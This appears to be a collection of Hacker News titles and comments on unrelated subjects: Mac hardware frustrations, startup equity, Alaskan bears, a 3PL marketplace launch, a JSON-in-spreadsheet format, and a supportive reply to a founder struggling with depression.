amazing. I'm unaware of any Windows equivalents, and the issue in Linux is commercial dictionary support due to copyright issues. Yeah, there are some open source dictionaries like Wiktionary, and there's the 1913 version of Webster's that's in the public domain, but it's not the same as having the most recent Merriam-Webster's, Oxford, or American Heritage Dictionary available. I could also use online dictionaries, but once again an offline dictionary is more convenient.<p>The past few days have opened my eyes to the disadvantages of being a Mac user. I'm increasingly resenting being beholden to one hardware provider in order to use macOS legally. I made this compromise starting in 2006, back when Apple was regularly releasing new Macs that were not only excellent performers, but were also reliable and price-competitive. I have fond memories of my 2006 Core Duo MacBook, which still works, by the way. But ever since Steve Jobs passed away, I've found Mac hardware to be increasingly compromised on the performance standpoint, as well as increasingly considerably more expensive than equivalent PCs. The current iteration of MacBook Pro is also a departure from Apple's legendary reliability, and is shaping up to dethrone the infamous PowerBook 5300 as Apple's worst laptop (and I actually have a PowerBook 5300 that my friend gave me; it's not a bad computer, it was just plagued by reliability issues that Apple addressed in a seven-year recall program). I could deal with USB-C, I could deal with a touchbar, and I could even swallow soldered RAM and SSD even though I have contempt for a lack of user-serviceability, but what I could not tolerate is a faulty keyboard design that is not only considerably less reliable than any other keyboard Apple has ever made, but is very expensive to fix outside of warranty. Unfortunately the alternatives that Apple provides aren't suitable for me. I already have a Mac Pro, I don't need an iMac or a Mac Mini, the current MacBook Air lineup is just a marginal speed bump from my dead 2013 MacBook Air, and I'm not paying what Apple charges for a 2015 15" MacBook Pro ($1999 new, $1699 refurbished; it's possible to buy a Dell XPS 15 9560 with a 4k display, a quad-core Kaby Lake i7 processor, 32 GB RAM and a 1 TB M.2 SSD for $1900 right now).<p>macOS still remains my favorite OS, and there will be many conveniences that I will be giving up by switching away to Linux and/or Windows. Unfortunately it seems that Apple's decisions regarding its Mac hardware from 2015 onward have left me flummoxed. On one hand Apple is still investing in macOS updates, as evidenced by its work on High Sierra and now Mojave. Apple also did release the iMac Pro, and the modular Mac Pro is in the works for a 2019 release. These actions suggest that Apple is not abandoning the Mac. On the other hand, the Mac Mini hasn't been updated since October 2014 and the rest of Apple's lineup hasn't been updated in a year now (there are no Coffee Lake offerings from Apple), yet Apple remains tight-lipped about its future hardware plans.<p>I wish Apple were a better steward of the Mac platform, where each product in the lineup is updated on a regular, consistent basis, and where Apple has a six-quadrant matrix of products: the rows represent desktops and laptops, and the columns represent three categories of user: casual users, intermediate users, and "no compromise" users. I wholeheartedly believe that Apple should create a branch company à la Claris that focuses exclusively on the Mac.<p>I wish things were better with the Mac platform, but my needs can't wait on announcements from Apple. For now I'll make do with a laptop running Linux or Windows, but what I would really love to see is a new, well-polished, cross-platform OS that brings innovation back to desktop computing. Despite contrarian voices saying that smartphones and tablets will overtake personal computers, there are still many things that personal computers are more appropriate for than smartphones and tablets are. Unfortunately there are no passionate defenders of desktop computing left in the industry. Apple's priorities seem to be clearly about the iOS platform (although they're maintaining the Mac at a level high enough to keep us Mac users in suspense), Microsoft's priorities are about the cloud these days, and even in the Linux world the emphasis seems to be on technologies relevant to servers, such as all of the work that's been done on containers in recent years. I feel that desktop computing has stagnated, but it's stagnating because the companies maintaining today's desktop operating systems are not passionate about desktop computing. We need individuals and companies who are passionate about desktop computing and want to bring renewed levels of innovation and polish to personal computers again. |
How I Learned to Stop Worrying and Love Electric Scooters | what's the state of the art of augmented vision and first- or third-party safety measures?[0],<p>I mean, the mods quit Brighton beach (UK ( so I've not seen a excess of rear view mirrors lately. (the used market may still be saturated..)
[1]<p>phones are beacons,
[2]<p>potentially we could be broadcasting centimetre accurate position and velocity<p>I like the idea of roadside computing cabinets downloading local trip data and doing the hard lifting but basic stuff like flow scheduling<p>how about this beacon tells you its stopping distance, driver reaction time, gear and acceleration limits and expectations of driver style?<p>I am convinced that there's so much more to learn about elementary ergonomics, about human vision not computer vision and about what open the market will pay to attach devices to vehicles that already challenge budgetary constraints for most new purchasers.<p>I absolutely would pay say $500 device capable of displaying correctly where I am regarding the other road users and their intentions or probable because they're on the work run same as always. for a glance<p>[3]
I don't drive any more, but I would have claimed in my twenties that I drove to work at a incredibly predictable pace. I doubt it could be so smooth with the traffic today, but in suburban and rural areas, well a big pothole at a dirt crossing sure will affect the movement of hazards. Where LIDAR may not travel, "local pilot's license knowledge" I reckon could save a great number of lives. The sudden steering wheel input and deceleration and acceleration around a big pothole would well warn fast coming vehicles to not take that lane as free, if not then used for turning right across a middle lane, so stay on the hard shoulder instead)<p>I want to glance at the road between my handlebars at a projected map of data,<p>(only when i am glancing down. The other day I saw the Canon Eos 1-v 35mm film camera linked being discontinued. This and the wonderful Eos 3, had eye focus point tracking. I remember reading the brochures and thinking BS, but nope, I remain convinced that you are going to get better results if you have dark eye colour, not pale blue like mine<p>[0]
my brother is a professor of transport research, whose tutor literally created the formal discipline (kinda Djikstra for transport, but sadly despite his traffic following equations being important, my brother and I should have either subscribed to better peace pipes, or lived when computing wasn't infant and so our interests not so separated. he is a Cambridge alum, I'm just either the commercial enemy or PPE impenetrability, oh i i did my best to not get the green corduroy jacket and lecture physics on Open University... I go on because I know nobody deserving a real professional commercial successful (meaning completed, delivered, used. I honestly think the nearest he came to a product launch was resolving traffic light sequencing in Tokyo in the early eighties, if you wanted to hire genius safe in the certainty should suddenly genius demand credit, the last thing you ate was poisoned, to my bro you go. I think it is because the litany of failure is so incredible. once he started reciting funded closed European programmes and projects. long minutes in, i realised he was reciting alphabetically by the conurbation and chronologically since, well he knows or once did, each and every one.<p>I couldn't plug my brother enough,<p>byt my excuse for doing so here, is the fact that I can write books how to get value from him of the order Google was paying for some feted guys tangled up in that uber unpleasantness. The fact may be that cases like that keep my always almost retired brother out of big business. AFAIK his refusal rate is in immeasurable range off p=1. I would drop my life to move that needle and get the world itself a result. (at least I can't imagine deaths in my brother's vision of transportation future) Not would, I guarantee you devotion, as far as the best alignment of a exceptional pitch with what makes a exceptional mind tick that has resisted professional commercial scrutiny for half a century. I would do anything to have him on my board if I was in the field. Not being funny, were the closest in a combined century, but I receive nothing. Silence. Zero... the air itself approaches 0K if i broach commercial transport research. Sure he could be just under NDA. Just NDAs I know displease his academic mind how rattle snakes regard dingoes. But you can take my limitless effort to broach any possibility as my word. Any time. Whilst age permits,be ideal..<p>[1] as in mods and rockers, see Quadrophenia, especially if you haven't, especially for<p>[2]
this immediately worries me about"throwies" and how much this matters for potential unintended regulation consequences<p>[3]<p>CANON EYE TRACKING I WISH TO CONTROL ON STREET HUD OF ROAD USERS
A series of tiny infrared LEDs (light emitting diodes) shine harmless infrared energy onto your eyeball as you peer through the viewfinder. Light sensors record the infrared reflecting off your eye and calculate the focus point. A computer in the camera then examines this data and decides which of the focus points is closest to that point and selects it. If the camera is in AI Servo mode then it will also adjust focus automatically based on that selected point. |
Ask HN: I started a company in Japan but I'm in over my head | Alright, let's get this started. I recognize myself in your words, and I guess that's why I am about to spent one hour writing this.<p>If I use a lot of "I", it's mostly so you can understand that you are not alone.<p>What you have is called depression, it paints everything black, and everything includes the good things. I have had tough shit in the last years, it's hard to tell what brought me down, but here I am, here I were. I am a considerably better those days.<p>Depression dude... You know you should talk, but you can't talk. You know you should go out but you can't go out. You know you should ... but you can't. A friend once told me "I won't tell you to have a nice day, I know it won't be nice, I will just tell you to have a day". There were days where I stayed in bed, all day, once I spent more than 30 hours in my bed in a row, without any other sickness, dragging myself every six hours or so to the bathroom, I wasn't even sleeping.<p>The thing is that you can't pinpoint any exact problem, everything is a problem. It bangs in your head "I have never achieved anything, I am a fraud, nobody loves me, why does it matter". I am a pretty enthusiastic philosopher and ... trust me... focusing on the lack of sense of life really adds more to this.<p>We are actually in the perfect industry to have those doubt... I mean I go to conferences where I see people having anxiety attacks for they are not transpiling from the last version of their shitty scripting language #joke. But more seriously, entrepreneurship, software, all this "positive thinking" and "we will change the world", it's the Instagram of professional life. Everybody pretends so hard to be hype but a lot of people are feeling lagging behind.<p>I won't go in length about the suicide ideas, because I don't want to inspire this. Some ideas come one day in your mind, and they can stay hidden in the back for long. Let's say I had them.<p>I am better now, not perfect but better. I still have this thoughts, I still have bad days. But when days are bad, I try to just "have a day". I am fascinated by how much things can look totally different between the good and the bad days. The bad days, I could quit my startup, tell my partner and employees to go fuck themselves. The good days, are good, I guess I can appreciate them more after this, they got some extra flavour. I can be a nice person to work, or live with.<p>It's hard to talk. Even when I am able to tell someone "this day sucks" or "I am heavily depressed", I can't tell why, I don't know. Some people are really uncomfortable when you almost cry for no reason in front them. I don't really blame them, or their poor comments, they try, some are afraid that's ok.<p>"That's ok", that's valid thing from them and for me. It's a good mantra. We usually slam more shit over the shit, and we bang our heads against the wall "Why am I like that?"... Leave it be! you are already feeling like shit, let yourself some air.<p>And I guess you wrote this post in a "down". The few words that helped for me were "that's ok" because all the rest seemed impossible.<p>I have been very bad for months, there were one or two days in the week where it was bearable / I was feeling good. Just hiding it from coworkers was a challenge, working from home helped to hide it, but not to get better.<p>There are a few things I can recommend because that worked for me, but it's easier to work on them on the good days.<p>1. Stop blaming yourself. Really, you are ok, but I will extend on that later. When you feel not able to do anything, just don't do anything. You will survive. You feel time craving, do a list, pick one and only one thing to do. Related cool music that inspired me <a href="https://www.youtube.com/watch?v=oOS00ttAblQ" rel="nofollow">https://www.youtube.com/watch?v=oOS00ttAblQ</a>
2. Meditation. It feels like the magic hippie trick, I tried a few times without effect. I paid a subscription in an app to motivate myself. I was like "this helps some people I need to try more, because everything else failed". I took me two weeks of practice, everyday, to feel undeniable benefits. I am kind of addicted to it, when I stop I go down in three days. But that's not an addiction that kill you, if twenty minutes of my day is the price, I will gratefully pay it. If I am correct the founder of Headspace started the project after a burnout. This simple information gave me a lot of hope at that time.
3. See someone. I was (and still am) seeing a shrink during that time, he helped a lot. Less than meditation but a lot. Maybe consider medication, I always refused to try but some friends reported heavy benefits, others reported addiction.
4. Let people come close. It's time to reconnect with family, or friends. Or maybe, when you feel like it go to meetups. Don't let the sad version of you, cut the happy version of you from the rest of the world. For example, when I was working as an indep, I asked to an old relative to call me every morning, she was happy to do so and it forced me to drag out of bed and interact a bit.
5. When you start to discuss with people you realise that you are not alone. And indeed you are not. A lot of people are experiencing what you experience, I am sorry for our big human civilization, but that is not a problem we seem to fix very efficiently. Knowing I was not alone, did not fix the problem, but made me think that if some survive, I should eventually to. When I opened to people, a lot came with their own story, and a lot are better today. It does get better. For some it last months, for others it last years, ... but it's feasible to go out.
6. Make the most of the good days. You think about something nice you should do? You feel the energy to do it? Then do it! Now!
7. Start to note the good moments, note what makes you happy. I know that going out helps a lot, nature, sport, ... so I try to practice those more.<p>End of the depression thingy. But I think this is the first and one thing, you should work on.<p>---<p>The rest doesn't matter much, because you need to work on the above before anything.<p>---<p>I don't know if you are working or studying in Japan... It's a bit confusing. If you are starting your career, take some time to grow, to find your rythm or a place that fits. If you are not there is always the opportunity to do the exact same thing. Questioning yourself is a proof of maturity, just accept those little pieces of doubt. Maybe you could find a mentor to help you get better. You can be a better professional.<p>Anyway know that it is hard to ship, very few people manage to do it by themselves.<p>---<p>You have invested 50k to achieve your dream, "all your savings" ... You have a pair of balls that many people would love to have. You say it yourself, some of this money is recoverable, so you just paid a bit to stay in Japan, which seems like a dream to you.<p>The money problem are easy to work on, at least partially. I don't know your precise situation but a lot of things can be reduced, in your personal lifestyle or in the company. Just go to the bare minimum... It's often easier than you think.<p>If you fear about going broke, think about it. You may have family or friends, you know some people will always be there. It may not be what you expected, but if (and I am not sure it's an option) the worst case is to go back to your parents ... so be it.<p>---<p>It is just a symptom of this depression but let me get on a specific point. You are labeling yourself as a "fake programmer" and "hiding english teacher". Maybe it's hard to keep a job as a foreigner, maybe it does take some skills to teach english, maybe you are just doing you best to settle here, but you choose to take shame of this situation.<p>If you are a fraud on one thing it is the following: you are not the asshole you pretend to be. You think that your problems are coming from you, you try to improve. You care about what how your behavior could impact other foreigners... Look at you.<p>Look at myself in the mirror and say "thank you" to the person you see.<p>---<p>I have written in the past paragraphs all the things that I would have hated to read... It seems so easy. It is not. But those are things to think about. We are often the one person creating our own problems.<p>PS: if you need to have a call with someone, I can offer a talk, just comment back we will find a way. |
Ask HN: Pros and cons of working at a startup in 2018? | Startups in my opinion are almost never a good deal for folks who have the option to join a big successful company. My points will be directed at folks who can get a job at a big company easily but are lured by the great things they've heard about startups. Specifically I'll target the issue of compensation.<p>Startups, in my experience have very shady predatory compensation strategies. Along with the VCs that fund them, startups target people fresh from college, selling them the "each stock COULD be worth X, so you could be worth Y" story. They also target people who have spent their entire career at startups since this fairy tale works on them too. I have worked at both startups and big companies and my compensation at bigger companies has been so much better. People working at startups don't believe me when I tell them how much I make. Past me would not believe present me either. I am not talking about a 10% or 20% or even 50% increase in compensation. My pay is 4.2x of what it used to be and I know people who have had similar experiences. It's not like I was being paid peanuts at the startup I was at either. The pay at big companies is just much much better. It's easy to underestimate the power of performance evaluation driven stock refreshers and the sheer increase in the stock value that some of the big companies have had. Here are some things one should consider compensation wise when working at a startup:
* You are essentially getting a lottery ticket with your stock options. How do you value this lottery ticket? Don't buy the stories the founders sell you on how this is a gazillion dollar market and even getting a faction of it would make FooBar a trillion dollar company. A simple but still optimistic method - just use the VC valuation. They have way more information and experience than you do and if they value it at X, it's at best valued at X. So if your tartup decides to give you 0.25% of X then you're stock is worth 0.0025X at best. You'll be surprised how little your options are worth if you use this method.
* But even that valuation is optimistic. If you leave the company before they go public (or hit another liquidity event) you either leave with your existing options and pay a tax bill on something that may be worth nothing OR you leave with nothing. Now some startups let you claim your options for up to 9-10 years after you leave, but the typical ones give you a period of about 3 months - so you're forced to make this decision. The irony is that if your startup has actually done well, the tax bill might be too big for you to pay and you have no option but to stick around or leave with nothing. I've known cases of people who have poured their heart and soul into a startup, got burnt out and then were laid off and had to leave with nothing. Consider how long it takes the successful startups to go public these days and add a risk factor to your valuation based on that.
* Okay, so you're rich enough to afford the tax bill on your risky options when you leave - you might still get screwed. Guess whose shares are getting diluted the most during the next round of funding? Ex-employees have no say in the company and the company has little to no loyalty towards them. A company could easily do something shady like raise money, dilute current and ex-employees, but give all the existing employees new shares to make up for the dilution.<p>For a sample of some of the disingenuous "I know what you need better than you do" kind of marketing that VCs do to help maintain the status quo, take a look at <a href="https://a16z.com/2016/06/23/options-timing/" rel="nofollow">https://a16z.com/2016/06/23/options-timing/</a>. These folks are not your friends.<p>Startup founders get the vast share of the equity and even the 3rd or 4th employee gets a tiny fraction, while having to do the same amount of work. So if you still want to work at a startup, my advice would be to either be a founder (hopefully not one that continues the cycle of screwing over other employees) or at the very least come from a big company. Founders and VCs know that big company employees make a lot of money and they wouldn't just give up on their good compensation package for the "each stock could be worth X" story. Hence they compensate them much better than their average employee that doesn't know the market. Folks coming from bigger companies can also afford the tax bill associated with early exercise of options or exercise of options when leaving a company. Further consider working at startups where they let employees buy their options years after leaving. There are also successful startups that straight up give RSUs.<p>The well known article by Dan Luu at <a href="http://danluu.com/startup-tradeoffs/" rel="nofollow">http://danluu.com/startup-tradeoffs/</a> addresses some of the other points raised when discussing the relative meritcs of startups VS big companies. |
Barbearians at the Gate | Bear stories are great. Except for the politics, this article feels like sitting around a campfire talking shit over beer and marshmallows.<p>I grew up in Alaska, where we have been dealing with this for a little longer. Actually, most of us were pretty opinionated about it (hey CJ, not here to judge, sorry about those chickens). I think people down south have to reinvent the wheel when bear populations decline and recover. It took time to develop cultural and institutional solutions to the problem, but once we had those the bear population never declined to such extent that we discarded them. It isn’t completely solved but it’s manageable, at least in my home town. My friends’ chickens only get eaten by dogs and eagles.<p>It is considered crucial to avoid acclimating bears to humans and trash, because the bears will inevitably be killed. The city experimented for years with a variety of solutions. Bears were captured and released far away from the town, but they returned for food. Attempts were made to condition them against eating trash using startling noises, chemical bittering agents and powerful emetics. None of this worked, although some bears that consumed the emetics learned to temporarily avoid only the contaminated foods (they would consume everything at the experiment site except hamburger and spaghetti).<p>Eventually city ordinances required that all trash and food waste be secured in bear proof containers, and that these are not brought to the curb until pick up day. As far as I know this is the only thing that ever worked. Unsecured trash is such a nuisance that this was mostly enforced socially in my neighborhood. I don’t know anyone who has admitted to getting a fine. Outdoor food composting is impracticable, but so is conventional gardening due to climate.<p>Black bears are routinely encountered around town in the spring and summer. It is important to be attentive, so as not to startle or corner them. People will lean out of doors and windows to warn passers when bears are near. Occasionally a peanut gallery of gawkers can be seen laughing from a second story downtown while an unfortunate person scurries from one doorway to another trying to find a an open door.<p>I don’t know anyone who has been hurt by a black bear. However, brown bears (and cubs of either species, because they have mothers) have a higher pucker factor. We have a family friend who lived in an area farther north with more brown bears. He lost half of his family to a brown bear attack while berry picking. Brown bears are not common in my home town but are seen occasionally. It is believed that they only kill humans when they are threatened or starving to death, but they still scare the shit out of me. Nearby areas in which they are common are to be avoided if possible. I have known a few people that hunt deer in such places (Admiralty Island, for example) but this is considered risky. Deer are usually hunted with high powered rifles as a precaution. Handguns are good for making loud noises, but even the most ludicrous hand cannons are considered underpowered for actually trying to kill a bear. They say if you shoot a bear with a .44 mag you should save one for yourself. Lots of people have bear mace. It’s nice to have a good dog with you in the woods. Dogs can alert when a bear is near and I have seen them harass a bear into leaving. I haven’t seen a dog get hurt by a bear, but it is scary to watch. Some dogs display a great enthusiasm for this and will not stop when you want them to.<p>Most people I know consider shooting a bear a serious fuck up that ought to come with a very good excuse. My friends take game salvage laws seriously as a matter of principle, and killing a bear condemns the hunter to choose between many hours of back breaking labor or abandoning a kill. Roads in my area were limited by topography, and hunting often happened far from them. I only know a few guys who have killed a bear. A friend of mine sheepishly explained that it was following him on a trial while he was hiking home with a back pack full of deer meat. He said he couldn’t scare it away, and he didn’t want to take chances because he has kids. He had to call for help to deal with it, and report the kill to the authorities. He said by the time he got home he felt worse then the bear. If you follow the salvage rule (or your conscience) you will be stuck with a mountain of bear meat. I haven’t tried eating bear but they are said to taste like they smell, and they smell terrible.<p>I believe that in such cases a report must be filed with the Department of Fish and Game to excuse the hunter from poaching unless they have bear tags. I have never know about anyone except tourists that trophy hunted so I don’t know how hard it is to get bear tags. I think it’s expensive for black bear, and almost impossible for grizz. I haven’t checked and it has never come up because killing a bear on purpose is generally considered a Dick Move.<p>It is really tempting to anthropomorphize animals and I think this is part of what makes bear stories so great. The Tlingit and Haida literally idolize them in totems, and have a wonderful mythology that includes stories like Raven stealing the sun.<p>(If you have never watched ravens you should. They use tools and solve problems with a compelling but alien intelligence. They are the original hackers. When I was younger one of my neighbors rescued an injured raven and kept it as a pet. She named him Frankie. Frankie could unlock his own cage from the inside, and mimic human speech in a gravelly whiskey and cigarettes voice that sounded like Janis Joplin’s angry ghost. It was absolutely spine chilling.)<p>Animals can also do things we can’t. In their native environment their endurance cannot be equaled by humans. A deer or a bear will continue to fight or flee when grievously injured. Unlike a human, they will not give up when they are freezing, filthy, cold, wet, or starving. They can negotiate the most appalling terrain and endure horrifying physical punishment. By comparison, we are pathetically fragile and easily capitulate.<p>Anthropomorphism is fun, but I think the reason animals are like this is that they can’t help it. It’s a mistake to attribute bear behavior to reason or social motives involving particular humans. Bear problems are mostly solved by not feeding them. They are just hungry, and they have one job. |
Show HN:ShipHero Marketplace - Network of 3PL Partners for E-commerce Brands | OP here. Just wanted to provide a bit more information on the story behind the marketplace.<p>To plan my first vacation without my family - this was around 1999 - me and some college friends went online to find a place to go. We found a gorgeous all-inclusive resort in Cancun, Mexico that also was within our meager college budgets. Perfect! Of course it wasn't. When we got there the resort was nothing like the pictures we saw. Maybe it looked like that 30 years before, I don't know.<p>This business model of screwing tourists made financial sense even if it wasn't very ethical. It's not like people go back to the same resort again - so they didn't lose any repeat business, and we had no way of telling other people to stay away. So why invest in updating your rooms when you can invest in some doctored pictures instead?<p>Airbnb solved this. You check the reviews before you book. If you go a place and it isn't exactly what you expect or the place isn't clean, you leave a negative review and future potential guests simply find a better place to stay. Therefore hosts invest in making sure the place is nice and clean and they don't lie about what the place is.<p>Most of us wouldn't think twice about staying in an Airbnb because we didn't believe the pictures. This is great for guests and even better for the honest hosts who now have a reliable method of attracting customers to their great place.<p>3PLs are stuck in 1999. It's not that they know you won't come back, it's that they know you'll never leave, which means the same lack of incentive to do a good job once you have the customer. And you have same issue of no reviews. If you have a horrible experience, how can you let the other potential customers of that 3PL know? You can't.<p>ShipHero Marketplace is solving that.<p>First let’s tackle "It's not that they know you won't come back, it's that they know you'll never leave,"<p>Without ShipHero, if you're not satisfied with your current 3PL A, how do you switch to their competitor 3PL B? First you build a new integration with 3PL B. Then you test the integration and revise. Then 3 months later when you think - to the best of your ability to test - the integration is probably working, you decide to commit to the change and call your contact at 3PL A and say "You guys suck, please box up all my products and ship them to your competitor 3PL B. Oh, and while you do so, you horrible bastards, make sure to pack everything neatly and prioritize this over your other work so this happens ASAP."<p>Then you wait for them to box the product. Then you wait for it to move on a truck to 3PL B. Then you wait for 3PL B to sort through the mess of the product they just got in and get it put away in on the shelves. Best case this is a week. 2-3 weeks are more likely. During that period your products can't be shipped. If you cannot ship, you cannot sell. Most e-commerce companies run on tight margins and even tighter cash-flow. Shutting down for 2-3 weeks means they lose money for the year and for some it would mean going out of business. So yeah, no one switches 3PLs.<p>Ok, you can't switch away from your crappy 3PL. How can you at least tell everyone to avoid a 3PL? Yeah, you can't.<p>How do we solve that?<p>First, we make switching between 3PLs running ShipHero orders of magnitude simpler.<p>New integration? Not needed. You don't even have to update data, orders or your rules, all that lives in your account not the 3PLs - no migrations or work of any kind needed.<p>Physically moving product? That's not needed either. This is my favorite part. Call 3PL B and tell them you want to work with them.<p>Don't call your good friends at 3PL A. When you reorder from your vendors, you have your vendors ship those new products to 3PL B. You set the rules in ShipHero to deplete the stock from 3PL A and then fulfill orders out of 3PL B when stock isn't available in 3PL A. Eventually 3PL A has little or no stock, 3PL B is fulfilling all your orders.<p>You've migrated! No downtime, no shipping all your products from one warehouse to another, and a ton less stress and opportunities for bad things to happen.<p>Once you switch, you can tell the world about your experience with both 3PLs by leaving verified feedback in the ShipHero 3PL Marketplace.<p>That's how 3PLs go from 1999-2018.<p>Ok, now why should 3PLs participate? This is my second favorite part. 3PLs are an undifferentiated market, there are over 1,000 in the US alone and no one can tell the difference between one and the next. So, if you're in an undifferentiated market, how do you attract customers? You spend a lot of money on sales and marketing and be aggressive, and if you find a potential customer you make sure to close them, even if they’re not really a fit for your business. This is expensive and doesn't match how a lot of people prefer to do business.<p>3PLs now have a better way of doing business: use the Shiphero Marketplace. We bring leads and allow 3PLs to provide a quote and compete based on performance, reviews and pricing. There's no up front cost, 3PLs pay for what you earn. How much money is spent on 3PLs a year? Among Shopify merchants it's tens of billions of dollars a year. Globally 3PLs generated over $800billion in revenue last year.<p>So access to potential customers is a good reason to join ShipHero, but it gets better. If you have an e-commerce brand and you're looking for a 3PL, will you choose one your locked into, even if they sound fantastic, or would you prefer to work through a network where you have the flexibility to switch between 3PLs seamless whether because you are not satisfied, or you found a cheaper option, or you want to expand into more markets? The network of course.<p>And if e-commerce brands want to work through ShipHero, the 3PLs that want to serve them need to be where their customers are, which is on ShipHero. |
Console.table() | Recently I've been working on kind of the converse of this problem with JSON and spreadsheets, and I'll briefly describe it here (and I'll be glad to share the code), in the hopes of getting some feedback and criticism:<p>How can you conveniently and compactly represent, view and edit JSON in spreadsheets, using the grid instead of so much
punctuation?<p>The goal is to be able to easily edit JSON data in any spreadsheet, copy and paste grids of JSON around as TSV files (the format that Google Sheets puts on your clipboard), and efficiently import and export those spreadsheets as JSON.<p>It's especially powerful with Google Sheets, since you can run JavaScript code in them to import, export and validate JSON, and other apps can easily retrieve those spreadsheets as TSV files, which are super-easy to parse into 2D arrays of strings to convert to JSON.<p>This is a new reimplementation of some old ideas I've been happily using for years with Python and CSV files, plus some new ideas. But now it's general purpose, JSON oriented, written in JavaScript, integrated with Google Sheets, and I'm releasing it as open source once I get it into working shape.<p>Here is an example spreadsheet, which includes several sheets of different structures, and a script to convert the spreadsheet to JSON.<p><a href="https://docs.google.com/spreadsheets/d/1nh8tlnanRaTmY8amABggxc0emaXCukCYR18EGddiC4w/edit?usp=sharing" rel="nofollow">https://docs.google.com/spreadsheets/d/1nh8tlnanRaTmY8amABgg...</a><p>The first sheet "world" is the top level object, which configures a Unity3D app scripted in JavaScript (that's UnityJS, another story, but just think of this JSON as an arbitrary example). So the world is a big fancy JSON structure used by JavaScript code to create and configure a bunch of prefabs.<p>As you can obviously see, you just write your JSON expressions as an indented outline with type names before the values, putting keys, types and values in separate indented cells.<p><pre><code> object
tileRows number 1
tileColumns number 2
materialTiling object
x number 4
y number 4
materialOffset object
x number 0.5
y number 0.5
...
</code></pre>
You can use the "sheet" pseudo-type to make references to objects, arrays, etc, defined in other named sheets of the same spreadsheet:<p><pre><code> texturePaths sheet texturePaths
prefabMap sheet prefabMap
bowConfigs_outline sheet bowConfigs_outline
bowConfigs sheet bowConfigs_table
...
</code></pre>
There's another sheet named texturePaths that contains an array of strings:<p><pre><code> array
string Abstract_001
string Abstract_002
string Abstract_003
...
</code></pre>
And the prefabMap sheet is just a map of different types of content, directories and file names. You can represent any kind of JSON structures in the spreadsheets, and it's much easier to edit than raw JSON text.<p>Also, there are some convenient ways of compactly representing repetitive structured data.<p>One common type is a 2d array of elements all the same type, which you can make with the "grid" pseudo-type:<p><pre><code> tileName grid string 10 10
Hex_Sea Hex_Sand Hex_Magma ...
Hex_Grass_Dry Hex_Magma Hex_Sand ...
... ... ... ...
</code></pre>
That's a 10x10 grid of strings. You can also make grids of other types that will fit into one cell. For example, you could make a grid of strings or numbers or booleans, but not arrays or objects, since they don't fit in a single cell. But you could make a grid of the "sheet" pseudo-type, with a grid of sheet names, each sheet each containing any type or pseudo-type of object.<p>It also supports a "json" pseudo type that lets you put an arbitrary JSON expression into one cell.<p>Notice that the values themselves may be calculated by spreadsheet formula, which call any function or refer to any cells in any other sheet. In this example, each tile name is calculated by randomly choosing from a range pointing to all the hex tile names in the prefabMap:<p>=index(prefabMap!$E$5:$E$26, RANDBETWEEN(1, counta(prefabMap!$E$5:$E$26)))<p>You can write comments and intermediate values and formulas off to the right of the JSON data, or in other spreadsheets, which the JSON data may ignore or depend on.<p>The spreadsheet gives you enormous amounts of power to dynamically process the resulting JSON! So you can publish spreadsheets connected to live data, and import them as JSON.<p>Some people laugh at me when I say I prefer spreadsheets to outliners or even text editors. I'd love it if there were a decent tree structures JSON editor as powerful and ubiquitous as Google Sheets, but I've never heard of one. Tell me if you have, please!<p>Userland Frontier (later Radio Userland) came close to that ideal, predating and then adapting to both XML and JSON, but it never quite hit the mark of what you can easily do with a spreadsheet.<p>Another great way of compactly representing repetitive JSON structures in a spreadsheet is to use a table whose headers specify the structure, key names and types of the JSON arrays and objects.<p>This is essentially what Console.table does with an array of objects, but with rows and columns exchanged, and supporting arbitrarily nested arrays and objects.<p>The "bowConfigs_outline" sheet has a conventional outline formatted array of two JSON objects (rainbow bow configurations) that have the same structure. It is 175 rows, and 9 columns (1575 cells, many empty, with many repeated types and key names).<p><pre><code> array
object
bowStart number 0
bowEnd number 0.8
bowHeight number 30
startWidth number 1
endWidth number 0
widthMultiplier number 5
fromLocalOffset object
x number 6
toLocalOffset object
x number -6
...
</code></pre>
The "bowConfigs_table_compact" sheet shows the compact table representation of that same structure, with headers that implicitly describe the shape of the structure so there is one value per column, with no rows or columns of wasted space. It is only 4 rows (a row with the "table" type, a row with the headers, plus one row for each structure), and 58 columns (232 cells, few empty, with no unnecessarily repeated types or key names).<p>Lining all the values of the same name and type up in vertical columns makes it really easy to view and edit the values, and apply spreadsheet formula to dynamically calculate them! It would be much harder to track down and apply a formula to each "bowEnd" property in the outline format.<p>(Shown here as comma separated values since the headers contain spaces and that would be confusing.)<p>The top row is a series of columns of tokens, including [ and ] for arrays, { and } for objects, and keys and types for the object and array elements. It's like a simple horizontal schema that specifies the JSON structure, key names, types and columns, so that nothing needs to be repeated, and no space is wasted.<p><pre><code> table
,{ bowStart number,bowEnd number,bowHeight number,startWidth number,endWidth number,widthMultiplier number,fromLocalOffset { x number },toLocalOffset { x number },lineRenderer/startColor { r number,g number,b number },lineRenderer/endColor { r number,g number,b number },lineRenderer/alignment string,lineRenderer/widthCurve { animationCurveType string,keys [ { time number,value number }, ...
,0,0.8,30,1,0,5,6,-6,0.8782983063,0.7984165253,0.0370873959,0.7169641118,0.7843719274,0.3921475355,View,Keys,0,1,0.25,0.2,0.5,0.5,0.75,1,1,0,Blend,0,1,0.25,0.5,0.5,1,0.75,0.5,1,1,0,0.9368487271,0.6433703118,0.198860128,0.25,0.4861432977,0.5704963395,0.6107422953,0.5,0.9640410996,0.08846161285,0.05927839517,0.75,0.1199717053,0.2262674866,0.7876422776,1,0.6955264667,0.01858220912,0.7418451801</code></pre>
... |
Old ideas come back as researchers envision a more structured Web (2015) | One error in the article: the name Xanadu came from "The Skills of Xanadu" sci-fi story by Theodore Sturgeon in 1956 about a world with nanotech-based wearable networked mind-interfacing computers for sharing knowledge, skills, and more.<p>I asked Ted Nelson in person about this at IBM Research around 2000 when he came to gave a talk. He thanked me for reminding him of the exact name of the story which he said he had been trying to recall.
<a href="https://archive.org/details/pra-BB3830.08" rel="nofollow">https://archive.org/details/pra-BB3830.08</a>
